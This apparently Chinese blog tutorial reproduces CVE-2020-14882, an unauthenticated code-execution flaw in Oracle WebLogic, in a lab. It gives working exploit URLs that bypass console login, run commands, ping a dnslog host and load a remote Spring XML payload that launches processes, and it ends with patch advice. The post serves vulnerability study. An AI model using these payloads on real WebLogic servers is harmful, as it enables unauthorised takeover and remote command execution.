Hello,各位小伙伴大家好~
这里是拖更很久的小编Monster~
赶紧来复现一个刚出炉不久的漏洞吧~
CVE-2020-14882未授权代码执行~
Part.1
漏洞说明
漏洞说明
1、漏洞说明
近日,Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。
2、影响版本:
Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。
3、漏洞链接:
/console/images/%252E%252E%252Fconsole.portal
Part.2
漏洞复现
环境搭建
1、jdk-8u212-windows-x64.exe
2、fmw_12.2.1.4.0_wls_lite_Disk1_1of1.zip
官方下载链接:
https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html
也可在公众号回复“weblogic”获取噢~
ShellSession
首先尝试访问一下weblogic后台:
http://192.168.3.136:7001/console/login/LoginForm.jsp
构造以下链接,可以直接未授权访问到后台:
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
命令执行代码如下,尝试弹出计算器:
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)
执行成功:
尝试执行ping dnslog地址:
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping monster.f7iu4d.dnslog.cn%27);%22)
测试成功:
//测试时发现,weblogic12.1.3.0版本以上方法不会成功,但可以使用后面的其他方法。
FileSystemXmlApplicationContext()
尝试通过FileSystemXmlApplicationContext()加载并执行远端xml文件:
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.3.1/poc.xml")
poc.xml如下:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
通过此方法,windows可以往images路径下写文件,写入路径为:
../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp
例如修改poc.xml为:
访问http://192.168.3.136:7001/console/images/xxx.jsp
写入成功~~
Linux则可以直接反弹shell,修改poc.xml如下:
ClassPathXmlApplicationContext()
通过ClassPathXmlApplicationContext()也可以达到相同的效果:
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.3.1/poc.xml")
完结~
修复建议
安装官方最新补丁进行升级:
https://www.oracle.com/security-alerts/cpuapr2020.html
Part.3
结语
好啦,以上就是今天的全部内容了~
如果有问题,欢迎到公众号:一名白帽的成长史留言哦~
Peace!
本文始发于微信公众号(一名白帽的成长史):【漏洞复现】Weblogic漏洞复现:CVE-2020-14882未授权代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论